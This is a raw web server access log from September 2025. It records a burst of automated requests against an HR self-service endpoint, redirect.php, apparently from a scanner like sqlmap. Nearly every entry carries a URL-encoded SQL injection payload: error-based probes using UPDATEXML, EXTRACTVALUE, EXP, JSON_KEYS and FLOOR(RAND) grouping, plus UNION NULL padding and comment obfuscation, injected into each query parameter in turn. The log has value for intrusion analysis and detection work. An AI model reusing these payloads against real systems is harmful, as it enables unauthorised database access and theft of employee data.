100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65754a44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b655046%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FoLr9%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65754a44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b655046%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FoLr9%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61354d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49685835%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FvD1V&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61354d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49685835%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FvD1V&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x766f3948%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5573454c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEvu2&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x766f3948%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5573454c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEvu2&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38316c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344438%29%2C5431%29--%2F%2A%2A%2FtFf5&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38316c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344438%29%2C5431%29--%2F%2A%2A%2FtFf5&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x574f5332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76675850%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FWyXH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x574f5332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76675850%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FWyXH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3339716d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e314f66%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FcDoT%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3339716d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e314f66%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FcDoT%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d44666b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34796376%29%2C5431%29--%2F%2A%2A%2FbjdF&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5a797032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a585362%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxcZu%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5a797032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a585362%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxcZu%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6866664e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56564432%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYLAi%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4738696c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f5a6675%29%29--%2F%2A%2A%2FiCLd&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4738696c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f5a6675%29%29--%2F%2A%2A%2FiCLd&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e6e6f4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5554326d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e6e6f4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5554326d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4b437253%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c536b6b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Foo2D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4b437253%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c536b6b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Foo2D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61354d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49685835%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FvD1V&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38316c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344438%29%2C5431%29--%2F%2A%2A%2FtFf5&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x766f3948%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5573454c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEvu2&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53386d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c627461%29%29x%29%29--%2F%2A%2A%2FOmaF&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53386d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c627461%29%29x%29%29--%2F%2A%2A%2FOmaF&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d694a4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434d6656%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmdBe%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d374e41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64574533%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FC168%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d374e41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64574533%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FC168%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62563343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73674753%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F3C85&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
